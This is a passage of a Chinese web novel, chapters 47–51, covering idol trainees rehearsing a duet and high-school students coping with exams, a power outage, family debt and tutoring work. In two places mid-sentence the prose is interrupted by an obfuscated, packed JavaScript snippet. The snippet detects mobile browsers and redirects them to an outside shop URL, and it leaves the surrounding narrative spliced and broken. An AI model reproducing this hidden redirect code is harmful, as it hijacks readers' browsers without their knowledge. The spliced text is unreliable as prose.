要说“抽到”,也并不准确,因为这是赵焰主动找工作人员选过的。 他觉得上次和陆橙的舞蹈挑战之所以后期评价会反转,除了沈一瑾在粉丝群里揭了自己的底,还有就是因为曲子太热烈,所以自己才会被说“油腻”。 这次选温柔深情的,再加点氛围感,一定能火。 …… 对于这些小心思,陆橙没什么意见。 只是她没想到,赵焰对队友、曲子的选择有一堆意见,但是轮到自己练习的时候,就开始百般不认真。 今天是练习第一天,她和沈一瑾一样早早出了门,却没想到和舞蹈老师一起一直等到了十点多,都没能等到赵焰的任何消息。 旁边沈一瑾的练习室里音乐已经响了快两个小时,而自己这边连主角都还没到。 陆橙在群里艾特了好几次,又私聊打了电话,对方都没有半点回应。直到刚刚,赵焰才轻飘飘发过来一句: “身体不舒服,下午才能来。” …… “气死我了!” 陆橙跑过来,揽住沈一瑾的手臂。 “等了这么久,无聊死了!他真的太不认真了!一点契约精神都没有!让这么多人等他一个!” “……”沈一瑾倒是对赵焰的散漫早有耳闻,只能摸摸她的头以作安慰,“那你现在过来我这干嘛?” “来看看你们的呗。” 陆橙无聊地坐下。 “没事,你们练你们的。反正今天上午我那边是练不成了,老师听说他不来都已经走了。我就在你们这观摩观摩。” …… 休息结束,两人继续排练,陆橙在门口对着镜子百无聊赖地看着。 看着看着,陆橙不由得越来越认真。 ——他们的表演很好。 不知道是不是明红特别授意,两人抽到的曲子是一手暧昧气息很强的双人舞,亲密接触很多。 这种亲密的舞,一旦男方用力过猛,就会显得油腻。但是楚恒面容冷峻,动作极其认真,全程都只是一副公事公办的态度,和沈一瑾的触碰也是全程握拳绅士手,拉出了起码十厘米的虚空距离。 而沈一瑾却跳得热烈,表情管理到位,脸红红的。 一性感一清冷,两人搭在一起赏心悦目。更别说两人舞蹈水平在队里都是拔尖的,一整首歌下来,全程观摩的陆橙在一旁激动地鼓起了掌。 48. 第 48 章 陆橙的掌声被几个舞蹈老师和伴舞姐姐也听到了,大家也都笑着跟着鼓起掌来,一瞬间练舞室里的氛围变得极其轻松愉快。 舞蹈老师对两人学了两小时后的成果也很满意:“好,大家先休息十分钟吧。” 沈一瑾擦了擦额头上的汗,走到旁边喝了口水,忍不住又偷偷地去看楚恒。 ——却见他一个人坐在角落,汗湿的头发被捋到耳后,一直拿着手机,低着头,神情有些落寞。不知道在想些什么。 …… “再来一遍吧。” 陆橙自告奋勇地在旁边用手机帮他们录视频。 两人又跳了一遍,陆橙拍完,很高兴地在门口冲两人招手: “这次拍得挺好的,你们看看。” 楚恒走近,接过了手机,微微喘着气,垂下眼眸,看得很认真。 沈一瑾也凑了过来,想看看视频。 ——却在距离楚恒还有二十几厘米的距离的时候,看见面前的楚恒突然后退一步,立刻拉开了两人之间的距离,神情淡然,将手机递给了她。 “……” 沈一瑾低头,慢慢地接过手机。 是啊,他有洁癖,别人靠近就会冷脸避开。 ……这是他的习惯,对谁都是这样的。 沈一瑾不停地这样告诉自己。 …… 两人的舞蹈在团里都算拔尖,一上午就已经把编舞顺得差不多了。 陆橙手机里录了好几个视频,越看越觉得满意,感叹真是好舞台。 中午午饭时间,她点开微博,登上了大号,发现评论区有好多粉丝都在问公司综艺的事。 ——新娱公司要拍摄公司家族综艺的消息已经放出去了,第一期男女爱豆合作的形式以及分队选曲也已经通过公司官方微博发布了。 “橙橙快跑!小心皇族!” “乖女儿记得保护好自己!你要是碰到了什么事,妈妈立刻去把狗娱冲烂!” …… 陆橙刷着刷着,笑了出来。 看到这些评论,又要被迫和赵焰绑定并且等了赵焰两个多小时的委屈也仿佛消散了很多。 “橙橙是不是在练习?记得要吃饭休息。” “老婆一定要好好吃饭,瘦了我心疼。” 她嘴角漾起微笑,手指打字回复道: “吃了呢,今天吃的公司食堂,有机蔬菜!” …… “最近是在练舞台嘛?练得怎么样了?” “宝宝你今天还没发练习室自拍!” 她想了想,没有提到自己因为赵焰迟到而还没有开始练的事,而是另起话头回复道: “去观摩隔壁瑾瑾的练习室啦,跳得超好!” 这条回复马上引起了很多关注。她一刷新,就能看到,仅仅是三五秒之内,下面立刻多了十几条评论。 “捉住翻牌的宝宝。” “宝宝想看你的练习室。” “隔壁瑾粉来啦,橙橙瑾瑾友谊长存!” …… 陆橙笑得很甜,又想到刚刚手机拍下的视频,确实效果非常好,于是直接点开了“+”号,发送了一条视频。 “今日份新鲜的练习室,摄影师橙上线!给瑾瑾楚恒打call,跳得超级好!” * 楚门一中。 周一,地理课。 地理老师走进教室。 “今天我们这节课不讲课。我们邀请了两位在上次月考中表现优异的同学,上台来给我们分享学习经验。” “有请谷奕!” 周一早上,本来整个班都病恹恹的,一听到不用上课,又听到居然是刚转学过来没两个月的前黄毛叛逆哥来给大家“分享学习经验”,顿时热闹起来,人声鼎沸。 后排几个跟谷奕玩得好的体育生甚至开始带头起哄:“谷哥牛逼!” …… 黄怀予偷偷瞄一眼苏琬,发现对方满脸笑意;又偷偷瞄了一眼地理老师,发现地理老师也在纵容后排体育生大声的起哄,满脸无奈的笑——这才终于放下心来,也开始大声起哄,用力鼓掌,拍得手都红了。 一片响亮的掌声和口哨声中,谷奕高大健壮的身影站起来,有些不好意思地挠挠头,长眸冲着后排瞪了一眼,耳根有些红,走上讲台。 他磨磨唧唧地站上去,抬起眼,迅速地看了一眼苏琬,又极快地收回眼神。 “……大家好。” “好!” 程朗一声吼,大声鼓掌,全班哄笑,也开始大声叫好。 …… 谷奕的脸更红了。 他抬起头,一下子和黄怀予的眼睛对上。 ——她笑得很开心,眼睛都眯成了一条缝,举起右手,偷偷在脸旁边,冲自己比了一个圆圆的OK。 他目光又微微向右边转过去。 ——苏琬嘴角噙着笑意,冲他轻微而坚定地点了一下头。 …… 他愣怔一秒,看着这两双眼睛,通身的紧张一瞬间全部消散。 …… 下课了。 这是很精彩的一节课。 前二十分钟,谷奕带上来了一整套太阳系行星仪,加上太阳一共有九个,在讲台上排成一排,讲得通俗简单,直白地描述了自己对宇宙地球知识的了解。 后二十分钟,苏琬讲得干练清晰,直接总结了五点做题和文综考试的经验,毫无保留地写在了黑板上。 这节课,就连后排的体育生都没有开小差。程朗直到下课铃响,才反应过来自己居然认认真真听完了四十分钟的课。 ——现在如果回忆一下,竟然还能想起来,自己读了三年都没懂的自转和昼夜变化,被谷奕一讲以后,自己就突然懂了。 原来,谷哥这段时间真的不只是在涂黑方框而已! * 10月20日,周五,10月月考。 比起上一次的无所谓,谷奕变得很紧张。 他总算知道了为什么一到月考,黄怀予总是不见人,苏琬也变得话很少。 当你开始在意一件事的时候,是一定会变得紧张的。 …… 又考了整整一天。 交卷铃声十分刺耳,像是要把人心都攥起来。 谷奕放下笔,坐在第五考场里,长长呼出一口气。 …… 上一次九月月考时,由于他是转学生,没有上学期期末成绩,所以直接被分到了文科最后一个考场——第七考场。 文科第一到第四考场就在一班和四班教室。 ——而无人在意的第五到第七考场,连在熟悉的1号楼的资格都没有,直接被扔在了另一座空空荡荡的破旧老教学楼。 第七考场估计以前是理科班教室,一进去就一股青春期男生的陈年汗味,电扇缓慢地开着,发出“吱呀吱呀”的噪音。 明明户型和一班一模一样,但是谷奕硬是觉得,这里所有的陈设和桌椅都让他觉得十分陌生,怎么都不舒服。 …… 这一次10月月考,他终于有了有效成绩,进入了第五考场。 依然是那栋破旧的鬼片里才会出现的教学楼,只不过换了一个宽敞点的教室。 谷奕坐在里面,东张西望,挑着眉,极其不爽地在心里品评着: ——前面没有小白板,也没有贴成绩表和高考倒计时,完全没有危机意识。 ——后面的黑板报很丑。不像他们一班的黑板报,是高二的时候李唯艺和黄怀予一起做的。李唯艺用水粉画了穿着校服的女孩和飞扬的鸽子,黄怀予写了四十多所大学的名字和文科录取分数线,书法板书的字体很好看。 他记得苏琬说,黄怀予虽然是文化生,但是什么都会一点。在李唯艺正式开始学美术之前, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13252969|139694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 班里的黑板报都是黄怀予一个人做的。 ——电扇很旧,桌子和椅子晃来晃去。 …… 谷奕也不知道为什么,只要离开一班,在别的班里坐着,就觉得难受。 ——要是,下一次考试,能在一班教室里考,就好了。 谷奕随意想着,但是又一瞬间突然反应过来:在一班考,不就是在第一考场考吗? …… 第一考场? ……年级前四十名? 谷奕立刻重重甩了甩头。 他还没疯,那是黄怀予、苏琬以及八班那群人的地盘。 谷奕想起每次放学的时候,在走廊里偶尔经过八班,都能看见里面乌泱泱的人头,一眼望过去全部都穿着校服,都低着头,戴着眼镜,拿着笔写字。 五十多个人安静得出奇,每个人都仿佛身背大志,艰难求生。 ——像是有五十个苏琬和黄怀予坐在一起了。 这恐怖感,无异于二十五对闪灵双胞胎小女孩! …… 他立刻扇了扇自己,站起来,随着周围出门的人流一起,开始自觉地搬桌子。 * 考完了试,晚自习开始。 今晚是周五,政治晚自习。 刚考了一天的试,每个人都恹恹的。一般来说,月考当天晚上的晚自习都是纯正的“自习”,很多班的老师甚至都不会来,默认这个晚自习可以不用上。 更不要说,今天是星期五。很多人直接考完试就走了。 …… 一班教室里只剩下三分之二的人。 晚自习铃声已经响了十分钟,马辉都没来——大家都觉得他今晚是肯定不会来了,反正他也经常迟到早退。 黄怀予和苏琬已经约着林潇潇和杨捷,在座位上喝奶茶吃零食聊八卦玩游戏,享受着一个月一次的难得休闲时光。 谷奕也端了杯奶茶,极其自然地挤进了女生团体里,认真地听着。 “我知道!二班张瑞和四班的舒雪,谈了!” “卧槽!真的假的!” ——黄怀予咽下一大口抹茶冰旋,听到林潇潇说出这个惊天八卦,差点被呛死。 “张瑞不是跟十八班的程智星吗?!” “早分了。” “什么?程智星不是跟六班的刘文东吗?!” “假的,刘文东是gay。” “那刘文东跟谁?!” “听说是一个高二的体育生,篮球队的。都换上□□情侣签名了。” “卧槽,还是年下!” …… 林潇潇眼睛瞪得老大,眼珠子又黑又亮,整个人闪烁着掌握所有一线消息的从容和骄傲:“我跟你们说啊……” ——话还没说完,教室门口突然进来一个阴沉的身影。 只见马辉手里拿着几张卷子,迈着缓慢的步伐,走进教室,锐利的目光直直地射了过来。 他的声音像地狱里的恶魔。 ——“上课。” ——“把今天月考的文综卷子拿出来。” ——“对答案。” “……” 几个人全部呆住。 林潇潇讲了一半的连环大八卦就这样堵在喉咙里,脸憋得通红。 整个教室下方都寂静一片,几秒之后才传出一阵绝望的吸气声。 操!!! …… 杨捷叹了一口气,拎着奶茶回到了自己的座位。 黄怀予和苏琬、谷奕对视一眼。 ——她满脸无语,撇着嘴,好半天都不愿意拿出卷子。 “安静!” 马辉在黑板上写完选择题的答案,转身,一声大吼。 “一个个都考得很好吗?!” “这本来就是晚自习,就是要上课!” “不上课的,都出去!” 49. 第 49 章 马辉在黑板上写完几道选择题的答案,转身,一声大吼。 “一个个都考得很好吗?!” “这本来就是晚自习,就是要上课!” “不上课的,都出去!” …… 教室里瞬间鸦雀无声。 话都说到这份上了,所有人都被吼了,虽然一个个依然不情愿,但是也仍旧只能窸窸簌簌地拿出了卷子。 “……”马辉站在讲台上,居高临下地扫视了一圈,终于满意了,又转身回去继续写答案。 ——没想到,才写了三个,突然教室天花板上传来好几声闷响。 下一秒,教室里所有的灯全部熄灭,整个教室迅速陷入伸手不见五指的黑暗里。 所有人立刻像兔子一样警觉起来,经验十足地往外看——发现走廊玻璃反射出的隔壁班也没有任何光点出现,也是一片漆黑。 坐在窗户旁边的同学立刻从窗户望出去,发现整栋1号楼都陷入了黑暗之中。 “停电了!停电了!” 黄怀予立刻开始惊喜地起哄。 全班也瞬间都开始跟着起哄。 “上不了了!哈哈哈哈哈哈!” …… 隐隐约约中,竟然也听到了隔壁班传来的欢呼,黄怀予笑得更开心了,原始大家同病相怜! 后排的人立刻拿出手机,瞬间有好几道手电筒的光在黑暗中照亮了天花板。 马辉怒吼:“安静!” ……他的声音淹没在更大的欢呼声中。 马辉很快发现没人听他的话,于是发出了更大声的怒吼: “都给我安静!” ——班里的声音终于渐渐小起来,夹杂着未能平息的兴奋。 马辉脸色有些难看,不过乌漆嘛黑的也没人看见他的脸色。他环视了一圈,说:“班长出来主持一下纪律。” 然后就立刻走出了教室,和外面刚刚也同步走出来的二班班主任确认着什么。 班上的噪音在他走出去的那一瞬间立刻又变大了。只是还不到十秒钟,马辉的身影就又重新走了进来。 他隐在黑暗中,语气有些无奈,充满了妥协,还夹杂着一丝愤怒。 “停电了,不知道什么时候才能恢复。” “为了安全起见,晚自习结束,大家先回去。” 全班静默一秒,然后爆发出巨大的欢呼声。 …… 后排的体育生已经抽出了空空如也的书包,飞一般地一边嚎叫一边冲出了教室后门,把马辉“注意安全……”的啰嗦唠叨抛在了身后。 黄怀予极其开心地鼓掌。 影影绰绰的黑暗中,她看见前排的那两个人,也转过身,看着她,似乎是在笑。 …… 三个人立刻收拾东西一起站起身,出了门,准备下楼梯。 黄怀予抱住苏琬的手臂,凑到她耳边说了些什么,之后哈哈大笑。 苏琬俯身,认真地听,脸上始终洋溢着浅浅的笑。 随即黄怀予想到了什么,往后一望。 ——果然看见了,她们两人身后,正跟着谷奕。 他直勾勾看着她们两人的背影,插着裤兜,歪着头,长眉舒展,嘴角挂着自己都没有发现的散漫放松的笑。 “大傻——” 谷奕笑着:“干什么。” “还不赶紧过来扶苏琬下楼梯!” 她们两人在前,他一人在后。 他追着她们的步伐,她们回头看他。 黄怀予挥着拳头,苏琬站定温柔地笑。 …… 谷奕眸光闪动,嘴边笑意未减,长腿一伸,就走上前去。 …… 两人扶着苏琬走到一楼的时候,周围一班的同学已经全部跑得差不多了。 楚门十月底已经转凉,走出教学楼大门,夏夜的晚风迎面吹过来。 黄怀予抬头,星夜漫天,月光微弱,远方的鸡鸣山在黑夜中像一只巨大的酣睡的熊。 ……好美好的一刻。黄怀予心想,她要在心里,永远记住今夜的风。 …… 突然,身后的教学楼陡然发出光亮,一下子照亮了三人前方的路。 黄怀予立刻回头,这才看见,1号教学楼的灯竟然已经全部恢复正常。 “来电了?” ——三人对视,不知道为什么,都从对方眼里看到了一丝惊恐。 果然下一秒,就听见马辉那标志性的声音,从遥远的五楼,飘飘渺渺地传来: “来电了——都给我回来上课——” …… 周围所有同学都发出了“啊”的叹息声,人群三三两两停住,却犹豫着不想放弃刚刚得来的自由。 忽然,前方不知道是谁,大喊一句“跑啊——”,就一下子开始朝着校门的方向奔跑起来。 后面的人一下子也都受到了鼓舞,大喊着“跑啊——”,跟着前面的身影,大笑着往前冲。 ——所有人一边跑一边放肆地笑,发丝飞扬,书包摇晃,像黑夜里无数的小小的火星。 …… 黄怀予条件反射也要立刻抓住机会跑出校门,结果还没迈开步子,手就被旁边的人紧紧拉住了。 ——她回头,看见苏琬和谷奕一脸心如死灰的表情。 ——又低头,看见了苏琬脚上刚刚都还需要搀扶着才能下楼梯的、比打架输了的谷奕的嘴还硬的,白色石膏。 笑容僵在脸上,自由还没开始就已经结束。 头顶,马辉的声音像索魂的黑无常一样飘荡着:“来电了——快回来——” “……” 她抬头看看前方一群跑得飞快的人影,又低头看看苏琬脚上梆硬的石膏。 “……好吧!” 她对着夜空笑了一下。 “人生而自由,又无往不在枷锁之中。” * 10月22日,周日中午。 黄怀予出门买了包卫生巾,哼着歌,心情极好地走回家。 ——因为她今晚要干一件大事。 她穿过有些低矮的楼梯间,进了家门,看见外公正在狭小的厨房里做菜。 他动作很慢,偶尔咳嗽两声,以前硕大的肚子都小了一圈,眼眶深深地凹下去,头发花白稀疏。 “家家呢?” “出去取钱了。” 黄怀予动作一顿。 “为什么?” “今天要还钱给亲戚。” “上个月你妈也来要钱,就给了她几千块,现在没什么钱了。所以你家家去把退休金取出来。” “……” 黄怀予低下了头,没说话。 家里只有他们两个人吃,但是他却端上来四个菜,三荤一素。 黄怀予从小家里伙食就好,家家爹爹做菜都好吃,每天都变着花样给黄怀予做不同的菜。不论家里经济条件如何,她从来没有在吃的上委屈过。 “烧鸡怎么样?” “嗯嗯嗯。”黄怀予狼吞虎咽,像饿鬼投胎。 爹爹笑了,眼角的皱纹放松地挤在一起。 “明天想吃什么?” 她努力把嘴里的东西咽下去,想了想:“粉蒸排骨,要加脆的藕。” 云省人爱吃藕,但是普遍都是吃粉藕。黄怀予从小就喜欢吃脆藕,家家爹爹一边骂她怪胎,一边还是跟着吃了很多年的脆藕。 “好,明天上午我去二街给你买。” …… 正吃着,电话响了。 爹爹动作极其缓慢地把手机拿出来。 是黄怀予妈妈。 “爸你最近身体还好噻?” “还可以。” “好你注意身体啊,有什么不舒服的要告诉我,刚做完手术,时时刻刻要注意。黄怀予嘞?” “在吃饭。” “你把电话给她,我跟她讲两句。” 爹爹把手机递过来,黄怀予懒懒地没接。 “在吃饭,不想接。” 对面的声音一下子变大了。 “快点,有话跟你说!” “……”黄怀予心情很差地放下筷子,吐出嘴里嚼了一半的鸡骨头,脸色难看,依然没动。 她知道对面的人要跟自己说什么。 …… 爹爹看她一眼,轻声说: “去接吧。” 听到爹爹的话,她终究还是面无表情地站了起来,拿起手机进了房间。 “你又发什么脾气?你什么态度?” 黄怀予沉默。 对面的语气放缓了:“你最近学习怎么样?” “……”她看着窗户,眼神冷冷的,“我好得很,你还是操心一下你自己。” “我有什么好操心的?” 她直接地问:“你上个月赚钱了吗?” 对面沉默两秒:“……什么赚钱了吗?” “我问你那个工作能赚钱吗?” 黄怀予站着,一个字一个字地说: “你说一年就能回本,结果上个月你还在找家家要钱,到现在为止你已经投进去多少钱了?” “你跟我说爹爹癌症做手术花了很多钱家里欠了债,又说家家腰不好一直吃药,那为什么你就非得做那个根本赚不了钱的骗人微商呢?” 对面声音立刻大起来:“谁说我赚不了钱?!” “那是因为前期有投入,只要做到后期,做起来了就一定能赚钱!” “我们的产品那都是实实在在 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“你觉得我是小孩。我比你年轻,比你学历高,比你懂得多,你为什么宁愿相信外面的人,都不愿意相信你自己的女儿呢?” ——这句话明明重点在后面,但是对面的人好像间歇性耳聋,再一次自动屏蔽了后半句,只把前面当成了重点,立刻就变得愤怒起来。 “是!你是比我学历高!妈妈就是个高中毕业,没有你成绩好!” “你永远觉得你自己懂得最多,永远瞧不起你妈!” “要不是我当初嫁错了人,嫁给了你爸又离婚,我怎么会年纪轻轻就背井离乡来魔都打工!我一切辛辛苦苦都是为了你,但是你永远这个态度对我!” …… ——从收入争到身份,从身份扯到感情,吵到最后什么也没吵出来。 黄怀予那一刻突然失去了所有讲话的欲望。 她挂断了电话,对面吵闹的激动的声音戛然而止结束在红色的通话键上。 她垂下了手,只觉得从来没有像现在这样累过。 …… 不知道为什么,她莫名其妙想到了谷奕的妈妈。 ——那位从来都没有见过的“谷女士”。 那天和校长、教导主任、杨天奇和杨天奇家的秘书一起在医院的私人病房里时,从谷奕面前的手机里,传出的那个冷静的、平稳的、和蔼的声音。 好像对一切都了如指掌,胜券在握。 再大的困难,在她那里不过一通电话。再大的背景,在她那里不过一个人脉。 ——像自己刚刚那样,教自己的妈妈怎么去赚钱,这种对话,应该这辈子都不会发生在谷奕和谷女士身上吧。 …… 拿自己的妈妈,去跟别人的妈妈作比较,是不是特别不好?她突然觉得自己很丑恶。 黄怀予想象了一下,如果现在谷奕就在她旁边,他一定会很不满地对自己说: “你以为我过得很好?” “我宁愿和你交换,因为我从来都没有从妈妈那里得到过陪伴,只能得到钱。” 黄怀予喃喃自语:“我不仅从来没得到过陪伴,现在钱也没了。” …… 房门被打开,爹爹佝偻着身影站在门口,看她。 “先出来吃饭。” 他脸上似有不满,手里还拿着两根筷子。 “菜都冷了。” “好好吃饭,啊。” “其他的都不重要。” …… 房间昏暗,鸡肉冷了,油脂开始黏在一起,逐渐变成了固体。 她坐在窄小低矮的桌子边,脑子一片空白,用最快的速度把米饭和菜疯狂地往嘴里塞,塞到根本来不及嚼就只能大块咽下。 她觉得自己的嘴像一个垃圾桶,自己的身体就像一个垃圾桶,她在不停地往里面倒垃圾。 只有这种时候,她才觉得世界留给了她一丝安宁,才觉得可以让大脑熄灭,让所有的思维、想法、考虑、感情、价值、意义的蜡烛都跟着大脑一起熄灭。 她努力地往下咽。 从口腔,到食道,到胃,到肠子——只使用消化器官,只遵循生理欲望,只看见动物本能,让自己从头到尾变成一个处理食物的大型垃圾桶。 …… 爹爹回头看她一眼,只当她是饿了。 他站在门边:“我去打牌了。”随后出了门。 一粒米饭呛进了支气管,她剧烈咳嗽,呛出了眼泪。 吃完了,四个菜,全部吃空了。 胃撑得难受,她摇摇晃晃站起来,背上书包去图书馆。 50. 第 50 章 楚门市图书馆也在鸡鸣区。 楚门一中搬来鸡鸣区接近十年,直接把一中附近一公里之内的房价全部带着上涨了,对面的所有小区的名字自动变成“陪读小区”,街道的名字自动变成了“陪读街”,门口的通知班上每天贴着不一样的房屋出租和求租启示。 三年一度,三年一换,人来人往,学生和家长来来去去。 “我这房子好!上一届住这儿的一个小姑娘,去年高考620多分!” “哎呦那真不错,最后去了哪里?” “江大嘞!好得很!在江城,又不远,前段时间我去二街买菜还碰见她妈了,还跟我打招呼,说过几天她女儿就回家吃饭!” “住我这,你放心!你闺女三年以后最少也上个江大!” …… 黄怀予闻声看过去,只见两个中年妇女正在街口的通知板边上攀谈。 一个是熟面孔,背心短裤卷头发,正在滔滔不绝地讲着这房子有多么吉利。 另一个踩着小高跟,手上拿着户型图,脸上笑意连连,显然被说得心花怒放。 ——这样的对话,黄怀予每天都能在街口听到。 市图书馆离楚门一中不远,沿着湖边步行二十分钟就可以到。 黄怀予走在湖边,胃里依然很难受。夏天午后炙热的风微微吹过来,她心情烦躁,完全不想让自己回忆起刚刚那通令人郁闷的电话。 她只想赶紧走到图书馆吹空调,和苏琬一起,一坐下来就开始咔咔狂做两套卷子。 ——什么都不想地狂做,像安塞腰鼓一样做,做得立刻用完一整根笔芯。 …… 一抬头,却远远看见前面有两个人影。 两个学生模样的少年,一男一女。 男生个子很高,远远看过去也能看出来长得浓眉大眼。女生长发披散,背着书包。 两人距离很近,慢慢在湖边的柳树下走着。 …… 即使黄怀予此时非常不想再去考虑除了学习以外的其他事,但是那两个人越走越近,即将与她打个照面。 她还想装作不认识,但是很显然,她弟弟这个高挑的身材和称得上帅气的外形,让她即使和这个不熟的弟弟只是一年见一次,也完全可以一眼就认出来。 那是她同父异母的初中生弟弟。 以及,他的秘密早恋女朋友(黄怀予猜的)。 …… 路不宽,几步之内,三人就已经面对面。 刘子扬一抬头,就看见面前这个高个子短发戴眼镜的女生,正停下了脚步,一动不动地看着他。 他有些疑惑地跟着放缓脚步,眨了眨眼,盯着她的脸看了一会,才慢慢从女生面无表情的脸上看到了一丝熟悉感。 “……姐?” 他试探地叫出声。 “……嗯。”黄怀予看着他,“这么巧。” “哦,哈哈。”他有些尴尬地拽拽头发。 黄怀予眼神扫到旁边。 旁边的长发妹妹没想到会遇到熟人,吓得一惊。再加上黄怀予面无表情不笑的时候极其不好接近,长发妹妹看上去极其害怕,稍稍躲到了刘子扬身后,祈求不要被发现。 “这位是?” 刘子扬紧张地扭头:“……同学。” 黄怀予点点头:“你好。” 妹妹挤出一个笑,像只兔子一样怯怯地看着她。 “……” 几人之间又陷入尴尬的安静。 …… 黄怀予淡淡地看着他。 他又长高了不少。 上次见面还是今年大年三十中午去爸爸家吃年饭的时候。 前妻的女儿,和现任妻子的儿子,坐在同一桌,进行这个每年一次的必备的尴尬环节。 青春期的男孩短发微湿,个子高挑,眉眼英俊,笑得很阳光,在席间受到所有亲戚的喜欢,从左到右一个一个说着花里胡哨的敬酒词。 ……不像她,长相普通,身材肥胖,藏在厚厚的镜片后面,安静地坐着,木讷地跟着举杯,看着旁边的完全不熟的亲戚对自己露出尴尬的表情,再努力地挤出一句“黄怀予成绩真好”的称赞。 “成绩好”,是她唯一可以得到的称赞,也是她永远在努力得到的称赞。 她没什么礼貌,也不会说漂亮话。 或者,在这个三岁就已经跟自己妈妈离婚的刘姓爸爸家里吃年饭,她很有姓黄的“外人”身份的自觉,很多年以来都很用心地扮演着这样一个阴暗的心事重重的楚门一中学霸形象。 而面前的这个姓刘的弟弟,年纪小,没烦恼,对谁都笑。 虽然他成绩不好,但是他长得好看,性格阳光,招人喜欢。 ——最重要的是,他是男的。 ——从一出生就受到所有人的期待。 …… 刘子扬努力寻找话题: “姐,你不是在一中每天学习很忙的吗,怎么今天有空出来?” “今天周日,我去图书馆。” “……哦。”刘子扬只能点头。 旁边沉默了许久的妹妹却一下子眼睛亮了。 “姐姐,你是一中的吗?你好厉害!” “我也想考一中!不过听说轮到我们这一届的时候,一中招生政策就变了,不知道到时候会变成什么样呢!” “姐姐你那一届是怎么招生的呀?” …… 小妹妹刚刚还很安静,却骤然一下子变得很兴奋,叽叽喳喳问了好几个问题。 黄怀予:“我们那一届就普通中考,上了一中线的都可以报。” “那你当时是多少分呀?” 黄怀予:“忘了。反正一定能上,就没怎么关注。应该全市前两百名以内都是稳上的。” “原来是这样!” “姐姐我可以加你Q/Q吗,如果有不会做的数学题我可以问你吗?” 黄怀予:“可以。” 妹妹立刻欢天喜地地笑了。 她伸手到兜里,掏了两下,又突然想到什么,有些不好意思地碰碰旁边刘子扬的手臂,凑近悄悄说: “把我手机给我。” ……刘子扬有些目瞪口呆地看着这两人你一眼我一语的对话,还没怎么反应过来。 黄怀予看着面前这两个小年轻把自己手机放在对方那里的亲密举动,又想起刚刚刘子扬介绍的“同学”,不由得有点想笑。 ——还挺青春的。 …… 妹妹又敲了他一下,他呆呆地:“哦。”打开书包,摸出了手机,上前一步递给了黄怀予。 ——他走上前的时候,离黄怀予只有十厘米不到。 一阵微微的风流过来,她一下子闻到了一个熟悉的味道。 非常淡,隐匿在空气里,普通人就算凑近也完全不会闻出来。 ——但是,她能闻出来。 因为她是研究这个味道的专家。 …… “……你是不是傻!让你把手机给我!” 刘子扬这才发现自己居然把手机递给了黄怀予,于是立刻退后一步,又手忙脚乱地拉上书包拉链,递给了长发妹妹。 两人加上了Q/Q,妹妹激动地打字留下备注:“姐姐我叫章妙!很高兴认识你。” 黄怀予点点头:“不用客气。” ……刘子扬有些愣,看着章妙手机上的Q/Q页面,突然想到他这个弟弟好像都还没有黄怀予的联系方式。 …… 三人告别,刘子扬有些不好意思地说:“姐,别把今天遇到我们的事告诉我爸行吗?” 他估计黄怀予应该早就能看出两人的亲密关系,只想让黄怀予帮自己保住这一个秘密。 “可以。” 见黄怀予爽快答应,刘子扬很开心,爽朗一笑:“谢谢姐!” 黄怀予挥手:“拜拜。” 经过刘子扬身边时,她立刻微微凑过去,在他耳边低声而迅速地说了一句: “少抽点烟。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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苏琬是高三生,而且住校。她可以提供用来家教的时间只有周末。 这样的条件,让她发出的自荐消息几乎都没有回复。 …… 但是她有一个很大的优势。 现在是十月底,各个大学早就已经开学了。群里现在可以提供楚门本地家教服务的大学生,基本都是楚门本地大学的学生。 楚门只有一所大学,楚门师范,之前是一个二本,前几年才升作一本。这所大学的学生,高考成绩也是可以想象得到的,毕业的高中也都是普通高中。 ——而她群昵称上的“楚门一中”几个字,已经自带小小的光环,所有楚门本地家长都懂得这四个字的含金量。 更何况,苏琬高中三年到现在为止的成绩从来没有跌出过年级前三十。 …… 她继续开始编辑。 今天或许因为是周末晚上,才发出去一条消息就有了回复。 两人聊了一下,苏琬把自己整理好的高中两年多的成绩单发了过去。对方家长很满意,交换了一下信息。对方孩子是初一,在楚门五中读书,家离鸡鸣区很近,周末两天各上两小时补语文和数学。 所有条件都合适,对方家长语气礼貌,苏琬直接同意定下了。 聊到价钱,苏琬知道自己只有周末能上,又担心对方觉得自己高三生忙碌会不认真对待,于是主动报低价格,说80块一小时。 ——没想到对面回复,你的成绩这么好,80块太低了,自己还不至于和一个十几岁的小姑娘纠结钱,于是直接按照群里平均价格100块定了。 苏琬有些惊喜,回复了感谢。 紧接着她又开始继续投,今晚效率极高,一个半小时就定好了另外两家,所以周末上下午各一家。 苏琬来者不拒,就算有一家在很远的江港区,她也毫不犹豫地接了。 ——这样,每个周末都能赚将近八百块。 ——哪怕她之后的每个周末都要六点就起床,拄着拐杖,在楚门的烈日下奔波两日。 51. 第 51 章 苏琬完成了一桩大事,心头安宁下来,却在这时接到了妈妈的电话。 对面苏明很急,问苏琬有没有看见家里书桌抽屉里的纸条,很重要,现在突然找不到了。 “……”她笑容凝固,低下头,“就在抽屉的盒子里。” “哪个盒子?是不是那个不锈钢的盒子?” 对面传来窸窸簌簌的声音,应该立刻起身去翻找了,一边找还一边念叨:“借条是很重要的东西,一定不能不见……” 苏琬不关心这个,只是询问:“你刚下班吗?吃晚饭了吗?” 对面回应敷衍。 手上动作不停,还是在不停翻找。 苏琬没有等到回答,继续固执地问:“吃晚饭了吗?你胃不好,不能饿着,现在已经快十一点了。” “……”对面似乎是终于找到了,松了一口气,没有理会晚饭的问题,继续说,“以后你打扫卫生别动抽屉里的东西啊,就擦擦桌子地板就好了。” ——声音疲惫,有些沙哑。 “我问你吃晚饭了吗?”她持续地问。 “没吃。不要紧,我不饿。现在太晚了,算了,明天还要早起。” “……”苏琬语气柔和下来,“我上周末回家在桌子上放了一盒饼干,你先垫一下。” 